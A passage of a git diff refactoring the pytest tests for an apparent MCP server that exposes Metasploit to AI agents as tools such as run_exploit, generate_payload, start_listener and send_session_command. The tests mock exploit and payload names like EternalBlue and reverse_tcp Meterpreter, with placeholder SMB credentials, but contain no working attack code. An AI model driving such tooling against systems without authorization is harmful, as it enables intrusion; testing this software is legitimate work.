"auth.login" + assert decoded["params"] == ["username", "password"] + assert isinstance(decoded["id"], int) + + def test_encode_handles_complex_nested_data(self): + data = [ + "module.execute", + "token123", + { + "RHOSTS": "192.168.1.1", + "RPORT": 445, + "options": {"SMBUser": "admin", "SMBPass": "password"}, + }, + ] + decoded = json.loads(jsonrpc_patch._jsonrpc_encode(data).decode("utf-8")) + assert decoded["method"] == "module.execute" + assert decoded["params"][0] == "token123" + assert decoded["params"][1]["options"]["SMBUser"] == "admin" + + def test_encode_method_only(self): + decoded = json.loads(jsonrpc_patch._jsonrpc_encode(["core.version"]).decode("utf-8")) + assert decoded["method"] == "core.version" + assert decoded["params"] == [] + + def test_encode_rejects_non_list(self): + with pytest.raises(ValueError): + jsonrpc_patch._jsonrpc_encode("not-a-list") + + def test_encode_assigns_incrementing_ids(self): + first = json.loads(jsonrpc_patch._jsonrpc_encode(["a"]).decode("utf-8")) + second = json.loads(jsonrpc_patch._jsonrpc_encode(["b"]).decode("utf-8")) + assert second["id"] == first["id"] + 1 + + +class TestJSONRPCDecode: + def test_decode_extracts_result_field(self): + payload = json.dumps({"jsonrpc": "2.0", "id": 1, "result": {"token": "abc"}}).encode() + assert jsonrpc_patch._jsonrpc_decode(payload) == {"token": "abc"} + + def test_decode_raises_on_error_field(self): + payload = json.dumps( + { + "jsonrpc": "2.0", + "id": 1, + "error": {"code": 500, "message": "boom"}, + } + ).encode() + with pytest.raises(ValueError, match="500"): + jsonrpc_patch._jsonrpc_decode(payload) + + def test_decode_returns_response_without_result_or_error(self): + payload = json.dumps({"jsonrpc": "2.0", "id": 1}).encode() + assert jsonrpc_patch._jsonrpc_decode(payload) == {"jsonrpc": "2.0", "id": 1} + + def test_decode_raises_on_invalid_json(self): + with pytest.raises((ValueError, json.JSONDecodeError)): + jsonrpc_patch._jsonrpc_decode(b"not valid json {") + + +class TestPatchedEncodeDecode: def test_patched_encode_jsonrpc(self): - """Test patched encode function with JSON-RPC enabled.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - data = ['method', 'arg1', 'arg2'] - encoded = pymetasploit3_jsonrpc_patch._patched_encode(data) - - # Should be JSON-encoded - assert isinstance(encoded, bytes) - decoded = json.loads(encoded.decode('utf-8')) - assert decoded == data - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'msgpack'}, clear=False) + with _use_jsonrpc(True): + encoded = jsonrpc_patch._patched_encode(["method", "arg1", "arg2"]) + decoded = json.loads(encoded.decode("utf-8")) + assert decoded["method"] == "method" + assert decoded["params"] == ["arg1", "arg2"] + def test_patched_encode_msgpack(self): - """Test patched encode function with msgpack (should use original).""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - import msgpack - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - data = ['method', 'arg1', 'arg2'] - encoded = pymetasploit3_jsonrpc_patch._patched_encode(data) - - # Should be msgpack-encoded + + with _use_jsonrpc(False): + encoded = jsonrpc_patch._patched_encode(["method", "arg1", "arg2"]) assert isinstance(encoded, bytes) - # Decode with msgpack to verify - decoded = msgpack.unpackb(encoded, strict_map_key=False) - assert decoded == data - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'jsonrpc'}, clear=False) + assert msgpack.unpackb(encoded, strict_map_key=False) == ["method", "arg1", "arg2"] + + def test_patched_decode_roundtrips_msgpack(self): + import msgpack + + with _use_jsonrpc(False): + assert jsonrpc_patch._patched_decode(msgpack.packb({"a": 1})) == {"a": 1} + + def test_patched_decode_jsonrpc_result(self): + with _use_jsonrpc(True): + payload = json.dumps({"jsonrpc": "2.0", "id": 1, "result": "ok"}).encode() + assert jsonrpc_patch._patched_decode(payload) == "ok" + + +class TestPatchedHTTP: def test_patched_init_sets_jsonrpc_headers(self): - """Test that patched __init__ sets correct headers for JSON-RPC.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Create a mock client instance - mock_client = Mock() - mock_client.host = '127.0.0.1' - mock_client.port = 55553 - mock_client.uri = '/api/' - mock_client.ssl = False - mock_client.token = None - mock_client.encodings = ['utf-8'] - mock_client.decode_error_handling = 'strict' - mock_client.headers = {} - - # Apply patched init - pymetasploit3_jsonrpc_patch._patched_init(mock_client, 'password') - - assert mock_client.headers == {"Content-type": "application/json"} - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'msgpack'}, clear=False) - def test_patched_init_sets_msgpack_headers(self): - """Test that patched __init__ sets correct headers for msgpack.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Create a mock client instance - mock_client = Mock() - mock_client.host = '127.0.0.1' - mock_client.port = 55553 - mock_client.uri = '/api/' - mock_client.ssl = False - mock_client.token = None - mock_client.encodings = ['utf-8'] - mock_client.decode_error_handling = 'strict' - mock_client.headers = {} - - # Apply patched init - pymetasploit3_jsonrpc_patch._patched_init(mock_client, 'password') - - assert mock_client.headers == {"Content-type": "binary/message-pack"} - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'jsonrpc'}, clear=False) - def test_patched_post_request_sets_jsonrpc_headers(self): - """Test that patched post_request sets correct headers for JSON-RPC.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Create a mock client instance - mock_client = Mock() - mock_client.headers = {} - - # Mock requests.post - with patch('requests.post') as mock_post: - mock_response = Mock() - mock_response.content = b'{"result": "success"}' - mock_post.return_value = mock_response - - pymetasploit3_jsonrpc_patch._patched_post_request( - mock_client, 'http://127.0.0.1:55553/api/', b'test' - ) - - # Check that headers were set correctly - assert mock_client.headers == {"Content-type": "application/json"} - # Check that requests.post was called with correct headers - mock_post.assert_called_once() - call_args = mock_post.call_args - assert call_args[1]['headers'] == {"Content-type": "application/json"} - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'jsonrpc'}, clear=False) - def test_apply_patch(self): - """Test that apply_patch successfully patches pymetasploit3 modules.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - # Set up mocks - mock_utils = sys.modules['pymetasploit3.utils'] - mock_msfrpc = sys.modules['pymetasploit3.msfrpc'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Verify patches were applied - assert mock_utils.encode == pymetasploit3_jsonrpc_patch._patched_encode - assert mock_utils.decode == pymetasploit3_jsonrpc_patch._patched_decode - assert mock_msfrpc.MsfRpcClient.__init__ == pymetasploit3_jsonrpc_patch._patched_init - assert mock_msfrpc.MsfRpcClient.post_request == pymetasploit3_jsonrpc_patch._patched_post_request - - @patch.dict(os.environ, {'MSF_RPC_PROTOCOL': 'jsonrpc'}, clear=False) - def test_remove_patch(self): - """Test that remove_patch restores original functions.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - # Store original functions - original_encode = sys.modules['pymetasploit3.utils'].encode - original_decode = sys.modules['pymetasploit3.utils'].decode - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Apply patch - pymetasploit3_jsonrpc_patch.apply_patch() - - # Remove patch - pymetasploit3_jsonrpc_patch.remove_patch() - - # Verify originals were restored - assert sys.modules['pymetasploit3.utils'].encode == original_encode - assert sys.modules['pymetasploit3.utils'].decode == original_decode - - def test_jsonrpc_encode_handles_complex_data(self): - """Test JSON-RPC encoding with complex nested data structures.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Test with nested structures (common in Metasploit RPC) - data = [ - 'module.execute', - 'token123', - { - 'RHOSTS': '192.168.1.1', - 'RPORT': 445, - 'options': { - 'SMBUser': 'admin', - 'SMBPass': 'password' - } - } - ] - - encoded = pymetasploit3_jsonrpc_patch._jsonrpc_encode(data) - decoded = json.loads(encoded.decode('utf-8')) - - assert decoded == data - assert decoded[2]['options']['SMBUser'] == 'admin' - - def test_jsonrpc_decode_handles_errors(self): - """Test JSON-RPC decoding error handling.""" - if 'pymetasploit3_jsonrpc_patch' in sys.modules: - del sys.modules['pymetasploit3_jsonrpc_patch'] - - from metasploit_mcp import jsonrpc_patch as pymetasploit3_jsonrpc_patch - - # Test with invalid JSON - invalid_json = b'not valid json {' - - with pytest.raises((UnicodeDecodeError, json.JSONDecodeError)): - pymetasploit3_jsonrpc_patch._jsonrpc_decode(invalid_json) + class _Client: + pass + + client = _Client() + with _use_jsonrpc(True): + jsonrpc_patch._patched_init(client, "password") + assert client.headers == {"Content-type": "application/json"} + assert client.uri == "/api/v1/json-rpc" + + def test_patched_post_request_sets_jsonrpc_headers(self, mocker): + class _Client: + pass + + client = _Client() + mock_post = mocker.patch("requests.post") + with _use_jsonrpc(True): + jsonrpc_patch._patched_post_request(client, "http://127.0.0.1:55553/api/", b"test") + assert client.headers == {"Content-type": "application/json"} + assert mock_post.call_args.kwargs["headers"] == {"Content-type": "application/json"} + + def test_patched_post_request_sets_msgpack_headers(self, mocker): + class _Client: + pass + + client = _Client() + mock_post = mocker.patch("requests.post") + with _use_jsonrpc(False): + jsonrpc_patch._patched_post_request(client, "http://127.0.0.1:55553/api/", b"test") + assert client.headers == {"Content-type": "binary/message-pack"} + + +class TestApplyPatch: + def _fake_modules(self): + import types + + utils = types.ModuleType("pymetasploit3.utils") + utils.encode = lambda data: b"orig-encode" + utils.decode = lambda data: "orig-decode" + + msfrpc = types.ModuleType("pymetasploit3.msfrpc") + + class MsfRpcClient: + def __init__(self, password, **kwargs): + self.password = password + + def post_request(self, url, payload): # pragma: no cover - replaced by patch + return None + def call(self, method, opts=None, is_raw=False): # pragma: no cover + return None + msfrpc.MsfRpcClient = MsfRpcClient + return utils, msfrpc + def test_apply_patch_installs_patched_callables(self): + utils, msfrpc = self._fake_modules() + with _use_jsonrpc(True): + jsonrpc_patch.apply_patch(utils, msfrpc) + assert msfrpc.encode is jsonrpc_patch._patched_encode + assert msfrpc.decode is jsonrpc_patch._patched_decode + assert msfrpc.MsfRpcClient.__init__ is jsonrpc_patch._patched_init + assert msfrpc.MsfRpcClient.post_request is jsonrpc_patch._patched_post_request + assert msfrpc.MsfRpcClient.call is jsonrpc_patch._patched_call + def test_apply_patch_is_noop_when_jsonrpc_disabled(self): + utils, msfrpc = self._fake_modules() + original_init = msfrpc.MsfRpcClient.__init__ + with _use_jsonrpc(False): + jsonrpc_patch.apply_patch(utils, msfrpc) + assert msfrpc.MsfRpcClient.__init__ is original_init + assert not hasattr(msfrpc, "encode") diff --git a/tests/test_keepalive.py b/tests/test_keepalive.py index 092d091..06a54dc 100644 --- a/tests/test_keepalive.py +++ b/tests/test_keepalive.py @@ -14,12 +14,14 @@ from typing import Dict, Any # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + # Mock pymetasploit3 before importing MetasploitMCP class MockMsfRpcError(Exception): pass + class MockMsfRpcClient: def __init__(self): self.modules = Mock() @@ -27,29 +29,31 @@ def __init__(self): self.sessions = Mock() self.jobs = Mock() self.consoles = Mock() - self.core.version = {'version': '6.3.0'} - self.modules.exploits = ['windows/smb/ms17_010_eternalblue'] - self.modules.payloads = ['windows/meterpreter/reverse_tcp'] + self.core.version = {"version": "6.3.0"} + self.modules.exploits = ["windows/smb/ms17_010_eternalblue"] + self.modules.payloads = ["windows/meterpreter/reverse_tcp"] self.sessions.list = {} self.jobs.list = {} + class MockMsfConsole: - def __init__(self, cid='test-console-id'): + def __init__(self, cid="test-console-id"): self.cid = cid - + def read(self): - return {'data': 'msf6 > ', 'prompt': 'msf6 > ', 'busy': False} - + return {"data": "msf6 > ", "prompt": "msf6 > ", "busy": False} + def write(self, command): return True + # Apply mocks before importing mock_msfrpc = Mock() mock_msfrpc.MsfRpcClient = MockMsfRpcClient mock_msfrpc.MsfConsole = MockMsfConsole mock_msfrpc.MsfRpcError = MockMsfRpcError -sys.modules['pymetasploit3.msfrpc'] = mock_msfrpc -sys.modules['pymetasploit3'] = Mock(msfrpc=mock_msfrpc) +sys.modules["pymetasploit3.msfrpc"] = mock_msfrpc +sys.modules["pymetasploit3"] = Mock(msfrpc=mock_msfrpc) # Import the module under test import metasploit_mcp.server as MetasploitMCP @@ -63,40 +67,40 @@ def write(self, command): class TestNoOpContextManager: """Tests for the _NoOpContextManager class.""" - + @pytest.mark.asyncio async def test_async_context_manager_entry_exit(self): """Test that _NoOpContextManager works as an async context manager.""" manager = _NoOpContextManager() async with manager as ctx: assert ctx is manager - + @pytest.mark.asyncio async def test_start_is_noop(self): """Test that start() does nothing and completes without error.""" manager = _NoOpContextManager() result = await manager.start() assert result is None - + @pytest.mark.asyncio async def test_stop_is_noop(self): """Test that stop() does nothing and completes without error.""" manager = _NoOpContextManager() result = await manager.stop() assert result is None - + @pytest.mark.asyncio async def test_stop_with_send_completion_false(self): """Test that stop(send_completion=False) works correctly.""" manager = _NoOpContextManager() result = await manager.stop(send_completion=False) assert result is None - + @pytest.mark.asyncio async def test_multiple_start_stop_cycles(self): """Test that multiple start/stop cycles work correctly.""" manager = _NoOpContextManager() - + await manager.start() await manager.stop() await manager.start() @@ -106,312 +110,313 @@ async def test_multiple_start_stop_cycles(self): class TestGetKeepaliveManager: """Tests for the get_keepalive_manager() factory function.""" - + def test_returns_noop_when_ctx_is_none(self): """Test that get_keepalive_manager returns _NoOpContextManager when ctx is None.""" - manager = get_keepalive_manager( - ctx=None, - operation_name="Test operation" - ) + manager = get_keepalive_manager(ctx=None, operation_name="Test operation") assert isinstance(manager, _NoOpContextManager) - + def test_returns_keepalive_manager_when_ctx_provided(self): """Test that get_keepalive_manager returns KeepAliveProgressManager when ctx is provided.""" mock_ctx = Mock() - manager = get_keepalive_manager( - ctx=mock_ctx, - operation_name="Test operation" - ) + manager = get_keepalive_manager(ctx=mock_ctx, operation_name="Test operation") # When ctx is provided, it should NOT be _NoOpContextManager # It should be the KeepAliveProgressManager (either real or fallback) assert not isinstance(manager, _NoOpContextManager) or mock_ctx is None - + def test_passes_interval_parameter(self): """Test that interval parameter is passed to the manager.""" mock_ctx = Mock() - manager = get_keepalive_manager( - ctx=mock_ctx, - operation_name="Test operation", - interval=5.0 - ) - assert hasattr(manager, 'interval') + manager = get_keepalive_manager(ctx=mock_ctx, operation_name="Test operation", interval=5.0) + assert hasattr(manager, "interval") assert manager.interval == 5.0 - + def test_passes_progress_parameters(self): """Test that progress parameters are passed to the manager.""" mock_ctx = Mock() manager = get_keepalive_manager( - ctx=mock_ctx, - operation_name="Test operation", - initial_progress=10, - max_progress=80 + ctx=mock_ctx, operation_name="Test operation", initial_progress=10, max_progress=80 ) - assert hasattr(manager, 'initial_progress') - assert hasattr(manager, 'max_progress') + assert hasattr(manager, "initial_progress") + assert hasattr(manager, "max_progress") assert manager.initial_progress == 10 assert manager.max_progress == 80 - + def test_default_interval(self): """Test that DEFAULT_KEEPALIVE_INTERVAL is used when not specified.""" mock_ctx = Mock() - manager = get_keepalive_manager( - ctx=mock_ctx, - operation_name="Test operation" - ) + manager = get_keepalive_manager(ctx=mock_ctx, operation_name="Test operation") assert manager.interval == DEFAULT_KEEPALIVE_INTERVAL class TestToolsWithNoneContext: """Tests to verify tools work correctly when ctx is None.""" - + @pytest.fixture def mock_msf_client(self): """Create a mock MSF client for testing.""" - with patch('metasploit_mcp.server.get_msf_client') as mock_get_client: + with patch("metasploit_mcp.server.get_msf_client") as mock_get_client: client = Mock() - client.modules.exploits = ['windows/smb/ms17_010_eternalblue', 'unix/ftp/vsftpd_234_backdoor'] - client.modules.payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/shell/reverse_tcp'] + client.modules.exploits = [ + "windows/smb/ms17_010_eternalblue", + "unix/ftp/vsftpd_234_backdoor", + ] + client.modules.payloads = [ + "windows/meterpreter/reverse_tcp", + "linux/x86/shell/reverse_tcp", + ] client.sessions.list = {} client.jobs.list = {} mock_get_client.return_value = client yield client - + @pytest.fixture def mock_asyncio_to_thread(self): """Mock asyncio.to_thread to run synchronously.""" + async def mock_to_thread(func, *args, **kwargs): return func(*args, **kwargs) - - with patch('asyncio.to_thread', side_effect=mock_to_thread): + + with patch("asyncio.to_thread", side_effect=mock_to_thread): yield - + @pytest.mark.asyncio async def test_list_exploits_with_none_ctx(self, mock_msf_client, mock_asyncio_to_thread): """Test that list_exploits works correctly with ctx=None.""" # Get the underlying function - list_exploits_fn = MetasploitMCP.list_exploits.fn - - result = await list_exploits_fn(search_term="", ctx=None) - + list_exploits_fn = MetasploitMCP.list_exploits + + result = await list_exploits_fn(search="", ctx=None) + assert isinstance(result, list) assert len(result) > 0 - + @pytest.mark.asyncio async def test_list_payloads_with_none_ctx(self, mock_msf_client, mock_asyncio_to_thread): """Test that list_payloads works correctly with ctx=None.""" - list_payloads_fn = MetasploitMCP.list_payloads.fn - + list_payloads_fn = MetasploitMCP.list_payloads + result = await list_payloads_fn(platform="", arch="", ctx=None) - + assert isinstance(result, list) class TestToolsWithMockContext: """Tests to verify tools call ctx.report_progress when ctx is provided.""" - + @pytest.fixture def mock_ctx(self): """Create a mock MCP Context.""" ctx = Mock() ctx.report_progress = AsyncMock() return ctx - + @pytest.fixture def mock_msf_client(self): """Create a mock MSF client for testing.""" - with patch('metasploit_mcp.server.get_msf_client') as mock_get_client: + with patch("metasploit_mcp.server.get_msf_client") as mock_get_client: client = Mock() - client.modules.exploits = ['windows/smb/ms17_010_eternalblue'] - client.modules.payloads = ['windows/meterpreter/reverse_tcp'] + client.modules.exploits = ["windows/smb/ms17_010_eternalblue"] + client.modules.payloads = ["windows/meterpreter/reverse_tcp"] client.sessions.list = {} client.jobs.list = {} mock_get_client.return_value = client yield client - + @pytest.fixture def mock_asyncio_to_thread(self): """Mock asyncio.to_thread to run synchronously.""" + async def mock_to_thread(func, *args, **kwargs): return func(*args, **kwargs) - - with patch('asyncio.to_thread', side_effect=mock_to_thread): + + with patch("asyncio.to_thread", side_effect=mock_to_thread): yield - + @pytest.mark.asyncio - async def test_list_exploits_reports_progress(self, mock_ctx, mock_msf_client, mock_asyncio_to_thread): + async def test_list_exploits_reports_progress( + self, mock_ctx, mock_msf_client, mock_asyncio_to_thread + ): """Test that list_exploits reports progress when ctx is provided.""" - list_exploits_fn = MetasploitMCP.list_exploits.fn - - result = await list_exploits_fn(search_term="", ctx=mock_ctx) - + list_exploits_fn = MetasploitMCP.list_exploits + + result = await list_exploits_fn(search="", ctx=mock_ctx) + # Should have called report_progress at least twice (start and end) assert mock_ctx.report_progress.call_count >= 2 - + # Check that initial progress was reported first_call = mock_ctx.report_progress.call_args_list[0] - assert first_call.kwargs.get('progress') == 0 - + assert first_call.kwargs.get("progress") == 0 + # Check that completion progress was reported last_call = mock_ctx.report_progress.call_args_list[-1] - assert last_call.kwargs.get('progress') == 100 - + assert last_call.kwargs.get("progress") == 100 + @pytest.mark.asyncio - async def test_list_payloads_reports_progress(self, mock_ctx, mock_msf_client, mock_asyncio_to_thread): + async def test_list_payloads_reports_progress( + self, mock_ctx, mock_msf_client, mock_asyncio_to_thread + ): """Test that list_payloads reports progress when ctx is provided.""" - list_payloads_fn = MetasploitMCP.list_payloads.fn - + list_payloads_fn = MetasploitMCP.list_payloads + result = await list_payloads_fn(platform="", arch="", ctx=mock_ctx) - + # Should have called report_progress at least twice assert mock_ctx.report_progress.call_count >= 2 class TestKeepaliveManagerIntegration: """Integration tests for keep-alive manager behavior.""" - + @pytest.mark.asyncio async def test_noop_manager_in_context(self): """Test that NoOp manager works correctly in async with context.""" manager = get_keepalive_manager(ctx=None, operation_name="Test") - + async with manager: # Simulate some work await asyncio.sleep(0.01) - + # Should complete without errors - + @pytest.mark.asyncio async def test_noop_manager_explicit_start_stop(self): """Test that NoOp manager works with explicit start/stop.""" manager = get_keepalive_manager(ctx=None, operation_name="Test") - + await manager.start() try: # Simulate some work await asyncio.sleep(0.01) finally: await manager.stop(send_completion=False) - + # Should complete without errors - + @pytest.mark.asyncio async def test_manager_with_mock_ctx_start_stop(self): """Test that manager with ctx starts and stops correctly.""" mock_ctx = Mock() mock_ctx.report_progress = AsyncMock() - + manager = get_keepalive_manager( - ctx=mock_ctx, - operation_name="Test operation", - initial_progress=5, - max_progress=90 + ctx=mock_ctx, operation_name="Test operation", initial_progress=5, max_progress=90 ) - + await manager.start() # Give it a moment to potentially send keep-alives await asyncio.sleep(0.01) await manager.stop(send_completion=False) - + # Should complete without errors class TestFunctionSignatures: """Tests to verify function signatures have optional ctx parameter.""" - + def test_list_exploits_ctx_is_optional(self): """Test that list_exploits has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.list_exploits.fn + + fn = MetasploitMCP.list_exploits sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_list_payloads_ctx_is_optional(self): """Test that list_payloads has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.list_payloads.fn + + fn = MetasploitMCP.list_payloads sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_generate_payload_ctx_is_optional(self): """Test that generate_payload has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.generate_payload.fn + + fn = MetasploitMCP.generate_payload sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_run_exploit_ctx_is_optional(self): """Test that run_exploit has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.run_exploit.fn + + fn = MetasploitMCP.run_exploit sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_run_post_module_ctx_is_optional(self): """Test that run_post_module has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.run_post_module.fn + + fn = MetasploitMCP.run_post_module sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_run_auxiliary_module_ctx_is_optional(self): """Test that run_auxiliary_module has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.run_auxiliary_module.fn + + fn = MetasploitMCP.run_auxiliary_module sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_send_session_command_ctx_is_optional(self): """Test that send_session_command has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.send_session_command.fn + + fn = MetasploitMCP.send_session_command sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None - + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty + def test_start_listener_ctx_is_optional(self): """Test that start_listener has ctx as optional parameter.""" import inspect - fn = MetasploitMCP.start_listener.fn + + fn = MetasploitMCP.start_listener sig = inspect.signature(fn) params = sig.parameters - - assert 'ctx' in params - assert params['ctx'].default is None + + assert "ctx" in params + assert params["ctx"].default is not inspect.Parameter.empty class TestKeepaliveConfiguration: """Tests for keep-alive configuration constants.""" - + def test_default_keepalive_interval_exists(self): """Test that DEFAULT_KEEPALIVE_INTERVAL is defined.""" - assert hasattr(MetasploitMCP, 'DEFAULT_KEEPALIVE_INTERVAL') + assert hasattr(MetasploitMCP, "DEFAULT_KEEPALIVE_INTERVAL") assert MetasploitMCP.DEFAULT_KEEPALIVE_INTERVAL > 0 - + def test_keepalive_available_flag_exists(self): """Test that KEEPALIVE_AVAILABLE flag is defined.""" - assert hasattr(MetasploitMCP, 'KEEPALIVE_AVAILABLE') + assert hasattr(MetasploitMCP, "KEEPALIVE_AVAILABLE") assert isinstance(MetasploitMCP.KEEPALIVE_AVAILABLE, bool) - + def test_default_interval_is_reasonable(self): """Test that the default interval is reasonable (between 1-60 seconds).""" assert 1.0 <= MetasploitMCP.DEFAULT_KEEPALIVE_INTERVAL <= 60.0 @@ -419,71 +424,54 @@ def test_default_interval_is_reasonable(self): class TestFallbackKeepaliveManager: """Tests for the fallback KeepAliveProgressManager when exploitmcp is not available.""" - + def test_fallback_class_exists(self): """Test that the fallback KeepAliveProgressManager class exists.""" - assert hasattr(MetasploitMCP, 'KeepAliveProgressManager') - + assert hasattr(MetasploitMCP, "KeepAliveProgressManager") + def test_fallback_class_has_required_methods(self): """Test that the fallback class has all required async methods.""" manager_class = MetasploitMCP.KeepAliveProgressManager - + # Create an instance with mock ctx manager = manager_class( - ctx=Mock(), - interval=10.0, - operation_name="Test", - initial_progress=5, - max_progress=90 + ctx=Mock(), interval=10.0, operation_name="Test", initial_progress=5, max_progress=90 ) - + # Check required attributes - assert hasattr(manager, 'ctx') - assert hasattr(manager, 'interval') - assert hasattr(manager, 'operation_name') - assert hasattr(manager, 'initial_progress') - assert hasattr(manager, 'max_progress') - + assert hasattr(manager, "ctx") + assert hasattr(manager, "interval") + assert hasattr(manager, "operation_name") + assert hasattr(manager, "initial_progress") + assert hasattr(manager, "max_progress") + # Check required methods - assert callable(getattr(manager, 'start', None)) - assert callable(getattr(manager, 'stop', None)) - assert hasattr(manager, '__aenter__') - assert hasattr(manager, '__aexit__') - + assert callable(getattr(manager, "start", None)) + assert callable(getattr(manager, "stop", None)) + assert hasattr(manager, "__aenter__") + assert hasattr(manager, "__aexit__") + @pytest.mark.asyncio async def test_fallback_manager_async_context(self): """Test that fallback manager works as async context manager.""" manager_class = MetasploitMCP.KeepAliveProgressManager manager = manager_class( - ctx=Mock(), - interval=10.0, - operation_name="Test", - initial_progress=5, - max_progress=90 + ctx=Mock(), interval=10.0, operation_name="Test", initial_progress=5, max_progress=90 ) - + async with manager: # Should work without errors pass - + @pytest.mark.asyncio async def test_fallback_manager_start_stop(self): """Test that fallback manager start/stop work correctly.""" manager_class = MetasploitMCP.KeepAliveProgressManager manager = manager_class( - ctx=Mock(), - interval=10.0, - operation_name="Test", - initial_progress=5, - max_progress=90 + ctx=Mock(), interval=10.0, operation_name="Test", initial_progress=5, max_progress=90 ) - + await manager.start() await manager.stop() await manager.stop(send_completion=False) # Should complete without errors - - - - - diff --git a/tests/test_listener_handler.py b/tests/test_listener_handler.py index 24999d4..9d6672c 100644 --- a/tests/test_listener_handler.py +++ b/tests/test_listener_handler.py @@ -63,16 +63,6 @@ def test_exploit_with_session_message(self): def test_exploit_without_session_message(self): """Test message for exploit without session.""" - status, message = self._construct_message( - "exploit/windows/smb/ms17_010_eternalblue", 789 - ) + status, message = self._construct_message("exploit/windows/smb/ms17_010_eternalblue", 789) assert status == "warning" assert "No session detected within timeout" in message - - - - - - - - diff --git a/tests/test_metasploitable3_harness.py b/tests/test_metasploitable3_harness.py index 95598bb..34c52dc 100644 --- a/tests/test_metasploitable3_harness.py +++ b/tests/test_metasploitable3_harness.py @@ -8,6 +8,7 @@ import asyncio import json +import logging import pytest from unittest.mock import AsyncMock, MagicMock, patch from datetime import datetime @@ -29,7 +30,7 @@ class TestExploitTestDataclass: """Test the ExploitTest dataclass.""" - + def test_exploit_test_creation(self): """Test creating an ExploitTest instance.""" test = ExploitTest( @@ -39,9 +40,9 @@ def test_exploit_test_creation(self): payload="test/payload", options={"RHOSTS": "10.0.0.1"}, expected_user="testuser", - notes="Test notes" + notes="Test notes", ) - + assert test.name == "Test Exploit" assert test.description == "Test Description" assert test.module == "exploit/test/module" @@ -49,24 +50,20 @@ def test_exploit_test_creation(self): assert test.options == {"RHOSTS": "10.0.0.1"} assert test.expected_user == "testuser" assert test.notes == "Test notes" - + def test_exploit_test_optional_fields(self): """Test ExploitTest with optional fields.""" test = ExploitTest( - name="Test", - description="Desc", - module="module", - payload="payload", - options={} + name="Test", description="Desc", module="module", payload="payload", options={} ) - + assert test.expected_user is None assert test.notes is None class TestTestResultDataclass: """Test the TestResult dataclass.""" - + def test_test_result_creation(self): """Test creating a TestResult instance.""" result = TestResult( @@ -75,24 +72,20 @@ def test_test_result_creation(self): session_id=1, session_info={"id": 1}, error=None, - duration_seconds=5.5 + duration_seconds=5.5, ) - + assert result.test_name == "Test" assert result.success is True assert result.session_id == 1 assert result.session_info == {"id": 1} assert result.error is None assert result.duration_seconds == 5.5 - + def test_test_result_failure(self): """Test creating a failed TestResult.""" - result = TestResult( - test_name="Test", - success=False, - error="Connection failed" - ) - + result = TestResult(test_name="Test", success=False, error="Connection failed") + assert result.success is False assert result.error == "Connection failed" assert result.session_id is None @@ -100,155 +93,151 @@ def test_test_result_failure(self): class TestMetasploitMCPClient: """Test the MCP client.""" - + @pytest.fixture def client(self): """Create a test client.""" return MetasploitMCPClient("http://test-server:8085") - + def test_client_initialization(self, client): """Test client initialization.""" assert client.mcp_url == "http://test-server:8085" - assert client.mcp_endpoint == "http://test-server:8085/mcp" - + assert client.use_gateway is False + assert client.tool_prefix == "" + def test_client_url_normalization(self): """Test that trailing slashes are removed.""" client = 